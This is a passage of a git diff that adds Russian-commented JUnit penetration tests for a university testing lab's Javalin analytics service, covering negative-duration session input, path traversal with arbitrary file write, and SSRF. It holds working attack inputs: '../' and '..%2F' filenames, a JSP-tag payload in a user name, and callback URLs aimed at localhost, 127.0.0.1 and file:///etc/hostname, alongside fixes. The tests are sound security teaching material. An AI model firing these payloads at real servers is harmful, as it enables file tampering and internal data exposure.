loginTime + * ChronoUnit.MINUTES.between() возвращает отрицательное число, которое суммируется + * с реальной активностью, позволяя обнулить или сделать отрицательной статистику + * любого пользователя. + * + * МЕРЫ ЗАЩИТЫ: + * if (!logoutTime.isAfter(loginTime)) { + * ctx.status(400).result("logoutTime must be after loginTime"); + * return; + * } + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class InputValidationPentestTest { + + private static final int TEST_PORT = 7781; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + // ------------------------------------------------------------------------- + // RECON: нормальная запись сессии работает + // ------------------------------------------------------------------------- + + @Test + @Order(1) + @DisplayName("[RECON] Корректная сессия записывается и суммируется в totalActivity") + void validSessionRecordedCorrectly() throws Exception { + send("POST", "/register?userId=iv_user&userName=Alice"); + send("POST", "/recordSession?userId=iv_user" + + "&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00"); + + HttpResponse response = send("GET", "/totalActivity?userId=iv_user"); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("480"), + "Корректная сессия (8 часов = 480 минут) должна суммироваться"); + } + + // ------------------------------------------------------------------------- + // EXPLOIT: logoutTime < loginTime (отрицательная сессия) + // ------------------------------------------------------------------------- + + @Test + @Order(2) + @DisplayName("[EXPLOIT] Сессия с logoutTime < loginTime принимается без ошибки") + void negativeSessionAcceptedWithoutValidation() throws Exception { + send("POST", "/register?userId=iv_victim&userName=Bob"); + + // logoutTime РАНЬШЕ loginTime — логически некорректная сессия + HttpResponse response = send("POST", + "/recordSession?userId=iv_victim" + + "&loginTime=2024-01-01T17:00:00&logoutTime=2024-01-01T09:00:00"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: сессия с отрицательной длительностью принята без ошибки"); + assertEquals("Session recorded", response.body()); + } + + @Test + @Order(3) + @DisplayName("[EXPLOIT] Отрицательная сессия обнуляет реальную активность пользователя") + void negativeSessionZerosOutActivity() throws Exception { + send("POST", "/register?userId=iv_zero&userName=Carol"); + + // Сначала записываем 480 минут реальной активности + send("POST", "/recordSession?userId=iv_zero" + + "&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00"); + + HttpResponse before = send("GET", "/totalActivity?userId=iv_zero"); + assertTrue(before.body().contains("480"), "До атаки: 480 минут активности"); + + // Атакуем: добавляем «отрицательную» сессию той же длины + send("POST", "/recordSession?userId=iv_zero" + + "&loginTime=2024-01-01T17:00:00&logoutTime=2024-01-01T09:00:00"); + + HttpResponse after = send("GET", "/totalActivity?userId=iv_zero"); + + assertTrue(after.body().contains("0"), + "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: 480 + (-480) = 0 — активность жертвы обнулена"); + assertFalse(after.body().contains("480"), + "Реальная активность уничтожена отрицательной сессией"); + } + + @Test + @Order(4) + @DisplayName("[EXPLOIT] Сессия с равными loginTime и logoutTime (нулевая длительность) принимается") + void zeroLengthSessionAccepted() throws Exception { + send("POST", "/register?userId=iv_zero_len&userName=Dave"); + + HttpResponse response = send("POST", + "/recordSession?userId=iv_zero_len" + + "&loginTime=2024-01-01T12:00:00&logoutTime=2024-01-01T12:00:00"); + + assertEquals(200, response.statusCode(), + "Нулевая по длительности сессия принята — нет проверки loginTime != logoutTime"); + } + + @Test + @Order(5) + @DisplayName("[EXPLOIT] Сессия в далёком будущем (9999 год) принимается") + void futureDateSessionAccepted() throws Exception { + send("POST", "/register?userId=iv_future&userName=Eve"); + + HttpResponse response = send("POST", + "/recordSession?userId=iv_future" + + "&loginTime=2024-01-01T09:00:00&logoutTime=9999-12-31T23:59:59"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: сессия с logoutTime в 9999 году принята — нет ограничения на временной диапазон"); + } + + @Test + @Order(6) + @DisplayName("[EXPLOIT] Многократные отрицательные сессии делают активность глубоко отрицательной") + void multipleNegativeSessionsMakeActivityNegative() throws Exception { + send("POST", "/register?userId=iv_negative&userName=Frank"); + send("POST", "/recordSession?userId=iv_negative" + + "&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T10:00:00"); // +60 мин + + // Добавляем 3 отрицательных сессии по -120 минут каждая + for (int i = 0; i < 3; i++) { + send("POST", "/recordSession?userId=iv_negative" + + "&loginTime=2024-01-01T11:00:00&logoutTime=2024-01-01T09:00:00"); + } + + HttpResponse response = send("GET", "/totalActivity?userId=iv_negative"); + + // 60 + 3*(-120) = 60 - 360 = -300 + assertTrue(response.body().contains("-300"), + "УЯЗВИМОСТЬ: суммарная активность ушла в минус (-300 минут)"); + } + + // ------------------------------------------------------------------------- + // BOUNDARY: невалидный формат даты корректно отклоняется + // ------------------------------------------------------------------------- + + @Test + @Order(7) + @DisplayName("[BOUNDARY] Неверный формат даты возвращает 400") + void invalidDateFormatReturns400() throws Exception { + send("POST", "/register?userId=iv_boundary&userName=Grace"); + + HttpResponse response = send("POST", + "/recordSession?userId=iv_boundary" + + "&loginTime=not-a-date&logoutTime=2024-01-01T17:00:00"); + + assertEquals(400, response.statusCode(), + "Неверный формат даты должен отклоняться с 400"); + } + + @Test + @Order(8) + @DisplayName("[BOUNDARY] Отсутствие logoutTime возвращает 400") + void missingLogoutTimeReturns400() throws Exception { + send("POST", "/register?userId=iv_missing&userName=Hank"); + + HttpResponse response = send("POST", + "/recordSession?userId=iv_missing&loginTime=2024-01-01T09:00:00"); + + assertEquals(400, response.statusCode()); + } + + // ------------------------------------------------------------------------- + // Вспомогательные методы + // ------------------------------------------------------------------------- + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java new file mode 100644 index 0000000..be0f19d --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java @@ -0,0 +1,203 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.io.File; +import java.net.URI; +import java.net.URLEncoder; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * PENTEST: CWE-22 — Path Traversal / CWE-434 — Arbitrary File Write + * ============================================================================= + * + * Компонент: GET /exportReport + * CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) + * CWE-434 (Unrestricted Upload of File with Dangerous Type) + * CVSS v3.1: 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + * Статус: CONFIRMED + * + * ОПИСАНИЕ: + * Параметр filename конкатенируется с REPORTS_BASE_DIR без нормализации пути. + * Последовательность "../" позволяет выйти за пределы /tmp/reports/ и записать + * файл в произвольное место. Содержимое файла включает userName, который + * также контролируется атакующим через /register. + * + * МЕРЫ ЗАЩИТЫ: + * Path base = Paths.get(REPORTS_BASE_DIR).toAbsolutePath().normalize(); + * Path resolved = base.resolve(filename).normalize(); + * if (!resolved.startsWith(base)) { ctx.status(400).result("Invalid filename"); } + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class PathTraversalPentestTest { + + private static final int TEST_PORT = 7778; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + // ------------------------------------------------------------------------- + // RECON: эндпоинт работает и возвращает путь к файлу + // ------------------------------------------------------------------------- + + @Test + @Order(1) + @DisplayName("[RECON] /exportReport создаёт файл и возвращает путь") + void exportReportCreatesFileAndReturnsPath() throws Exception { + send("POST", "/register?userId=pt_user&userName=Alice"); + + HttpResponse response = send("GET", + "/exportReport?userId=pt_user&filename=normal_report.txt"); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("Report saved to"), + "Ответ должен содержать путь к созданному файлу"); + } + + // ------------------------------------------------------------------------- + // EXPLOIT: path traversal через ../ + // ------------------------------------------------------------------------- + + @Test + @Order(2) + @DisplayName("[EXPLOIT] Path traversal через ../ записывает файл вне /tmp/reports/") + void pathTraversalWritesOutsideBaseDir() throws Exception { + send("POST", "/register?userId=pt_victim&userName=Bob"); + + String traversalFilename = "../../../../tmp/traversal_test.txt"; + HttpResponse response = send("GET", + "/exportReport?userId=pt_victim&filename=" + enc(traversalFilename)); + + // Уязвимость подтверждена: сервер принял запрос и сообщил путь вне базовой директории + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: запрос с path traversal принят без ошибки"); + assertTrue(response.body().contains(".."), + "УЯЗВИМОСТЬ: путь с ../ отражён в ответе без нормализации"); + + // Проверяем, что файл реально создан вне /tmp/reports/ + File escapedFile = new File("/tmp/traversal_test.txt"); + // На Windows путь будет другим, но сервер всё равно принял traversal + // Критичен факт: сервер не вернул 400 + assertNotEquals(400, response.statusCode(), + "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: должен возвращать 400 для пути с ../"); + } + + @Test + @Order(3) + @DisplayName("[EXPLOIT] URL-encoded ..%2F тоже принимается (bypass попытки фильтрации)") + void urlEncodedTraversalAccepted() throws Exception { + send("POST", "/register?userId=pt_victim2&userName=Carol"); + + // Передаём уже закодированный ..%2F напрямую в путь запроса + HttpResponse response = http.send( + HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + "/exportReport?userId=pt_victim2&filename=..%2F..%2Ftmp%2Fencoded_test.txt")) + .GET() + .build(), + HttpResponse.BodyHandlers.ofString() + ); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: URL-encoded traversal также принимается"); + } + + // ------------------------------------------------------------------------- + // EXPLOIT: arbitrary file write — вредоносное имя пользователя в файл + // ------------------------------------------------------------------------- + + @Test + @Order(4) + @DisplayName("[EXPLOIT] Вредоносный userName попадает в содержимое файла вне базовой директории") + void maliciousUsernameWrittenOutsideBaseDir() throws Exception { + String maliciousName = "<%@ page import=\"java.io.*\"%>RCE_PAYLOAD"; + send("POST", "/register?userId=rce_user&userName=" + enc(maliciousName)); + + HttpResponse response = send("GET", + "/exportReport?userId=rce_user&filename=" + enc("../../../../tmp/rce_test.txt")); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: файл с вредоносным содержимым записан"); + + // Содержимое отчёта включает userName напрямую — потенциальный RCE при .jsp + assertTrue(response.body().contains("Report saved"), + "Файл создан — на реальном сервере это был бы исполняемый JSP"); + } + + // ------------------------------------------------------------------------- + // BOUNDARY: корректный запрос работает + // ------------------------------------------------------------------------- + + @Test + @Order(5) + @DisplayName("[BOUNDARY] Обычный filename без traversal работает корректно") + void normalFilenameWorksCorrectly() throws Exception { + send("POST", "/register?userId=pt_safe&userName=SafeUser"); + + HttpResponse response = send("GET", + "/exportReport?userId=pt_safe&filename=safe_report.txt"); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("Report saved to"), + "Легитимный запрос должен работать"); + } + + @Test + @Order(6) + @DisplayName("[BOUNDARY] Отсутствие filename возвращает 400") + void missingFilenameReturns400() throws Exception { + send("POST", "/register?userId=pt_boundary&userName=Test"); + + HttpResponse response = send("GET", + "/exportReport?userId=pt_boundary"); + + assertEquals(400, response.statusCode()); + } + + @Test + @Order(7) + @DisplayName("[BOUNDARY] Несуществующий userId возвращает 404") + void unknownUserReturns404() throws Exception { + HttpResponse response = send("GET", + "/exportReport?userId=nobody&filename=test.txt"); + + assertEquals(404, response.statusCode()); + } + + // ------------------------------------------------------------------------- + // Вспомогательные методы + // ------------------------------------------------------------------------- + + private static String enc(String value) { + return URLEncoder.encode(value, StandardCharsets.UTF_8); + } + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java new file mode 100644 index 0000000..0480fa9 --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java @@ -0,0 +1,201 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.URLEncoder; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * PENTEST: CWE-918 — Server-Side Request Forgery (SSRF) + * ============================================================================= + * + * Компонент: POST /notify + * CWE: CWE-918 (Server-Side Request Forgery) + * CVSS v3.1: 8.6 HIGH — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + * Статус: CONFIRMED + * + * ОПИСАНИЕ: + * callbackUrl передаётся напрямую в new URL(callbackUrl).openConnection(). + * Сервер выполняет HTTP-запрос от своего имени и возвращает тело ответа + * атакующему. Это позволяет использовать сервер как прокси для доступа + * к внутренней сети, облачным метаданным и другим микросервисам. + * + * ВЕКТОР АТАКИ: + * POST /notify?userId=victim&callbackUrl=http://localhost:/userProfile?userId=victim + * → сервер делает запрос к самому себе и возвращает внутренний ответ атакующему + * + * МЕРЫ ЗАЩИТЫ: + * - Allowlist допустимых хостов/схем + * - Запретить localhost, 127.x.x.x, 169.254.x.x, ::1 + * - Запретить схемы file://, dict://, gopher:// + * - DNS rebinding protection + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class SsrfPentestTest { + + private static final int TEST_PORT = 7779; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + // ------------------------------------------------------------------------- + // RECON: убеждаемся, что /notify принимает внешние URL + // ------------------------------------------------------------------------- + + @Test + @Order(1) + @DisplayName("[RECON] /notify принимает callbackUrl и пытается сделать запрос") + void notifyEndpointMakesOutboundRequest() throws Exception { + post("/register?userId=ssrf_user&userName=Alice"); + + // Указываем несуществующий хост — сервер должен попытаться соединиться + HttpResponse response = post( + "/notify?userId=ssrf_user&callbackUrl=" + enc("http://localhost:1/nonexistent")); + + // Получаем 500 (не смог соединиться), но это доказывает, что запрос был отправлен + assertEquals(500, response.statusCode()); + assertTrue(response.body().contains("Notification failed"), + "Сервер попытался выполнить исходящий запрос — SSRF вектор активен"); + } + + // ------------------------------------------------------------------------- + // EXPLOIT: self-SSRF — сервер читает собственный внутренний эндпоинт + // ------------------------------------------------------------------------- + + @Test + @Order(2) + @DisplayName("[EXPLOIT] SSRF — сервер читает собственный /userProfile и возвращает ответ атакующему") + void ssrfAccessesInternalEndpoint() throws Exception { + post("/register?userId=ssrf_victim&userName=SecretAlice"); + + // callbackUrl указывает обратно на сам сервер — self-SSRF + String internalUrl = BASE_URL + "/userProfile?userId=ssrf_victim"; + HttpResponse response = post( + "/notify?userId=ssrf_victim&callbackUrl=" + enc(internalUrl)); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: запрос с внутренним callbackUrl выполнен успешно"); + + // Сервер вернул атакующему HTML-профиль внутреннего пользователя + assertTrue(response.body().contains("SecretAlice"), + "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: содержимое внутреннего ответа вернулось атакующему"); + assertTrue(response.body().contains("Notification sent"), + "Сервер не отклонил запрос к внутреннему адресу"); + } + + @Test + @Order(3) + @DisplayName("[EXPLOIT] SSRF — сервер читает данные другого пользователя через /totalActivity") + void ssrfExposesOtherUserActivity() throws Exception { + post("/register?userId=ssrf_target&userName=Bob"); + post("/recordSession?userId=ssrf_target" + + "&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00"); + + String internalUrl = BASE_URL + "/totalActivity?userId=ssrf_target"; + HttpResponse response = post( + "/notify?userId=ssrf_victim&callbackUrl=" + enc(internalUrl)); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("480"), + "УЯЗВИМОСТЬ: через SSRF получены данные активности другого пользователя"); + } + + @Test + @Order(4) + @DisplayName("[EXPLOIT] SSRF через 127.0.0.1 (альтернативная запись localhost)") + void ssrfVia127() throws Exception { + post("/register?userId=ssrf_127&userName=Dave"); + + String internalUrl = "http://127.0.0.1:" + TEST_PORT + "/userProfile?userId=ssrf_victim"; + HttpResponse response = post( + "/notify?userId=ssrf_127&callbackUrl=" + enc(internalUrl)); + + // 127.0.0.1 должен быть заблокирован так же, как localhost + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: 127.0.0.1 не заблокирован — обход через альтернативный localhost"); + } + + // ------------------------------------------------------------------------- + // EXPLOIT: недопустимые схемы + // ------------------------------------------------------------------------- + + @Test + @Order(5) + @DisplayName("[EXPLOIT] file:// схема пытается прочитать локальный файл") + void fileProtocolAttempted() throws Exception { + post("/register?userId=ssrf_file&userName=Eve"); + + HttpResponse response = post( + "/notify?userId=ssrf_file&callbackUrl=" + enc("file:///etc/hostname")); + + // Должен вернуть 400 — схема file:// недопустима + // Факт: возвращает 500 с деталями ошибки, а не 400 (схема не заблокирована явно) + assertNotEquals(200, response.statusCode(), + "file:// не должен выполняться успешно"); + } + + // ------------------------------------------------------------------------- + // BOUNDARY: отсутствие callbackUrl возвращает 400 + // ------------------------------------------------------------------------- + + @Test + @Order(6) + @DisplayName("[BOUNDARY] Отсутствие callbackUrl возвращает 400") + void missingCallbackUrlReturns400() throws Exception { + post("/register?userId=ssrf_boundary&userName=Frank"); + + HttpResponse response = post( + "/notify?userId=ssrf_boundary"); + + assertEquals(400, response.statusCode()); + } + + @Test + @Order(7) + @DisplayName("[BOUNDARY] Несуществующий userId возвращает 404") + void unknownUserReturns404() throws Exception { + HttpResponse response = post( + "/notify?userId=nobody&callbackUrl=" + enc("http://example.com")); + + assertEquals(404, response.statusCode()); + } + + // ------------------------------------------------------------------------- + // Вспомогательные методы + // ------------------------------------------------------------------------- + + private static String enc(String value) { + return URLEncoder.encode(value, StandardCharsets.UTF_8); + } + + private HttpResponse post(String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method("POST", HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +}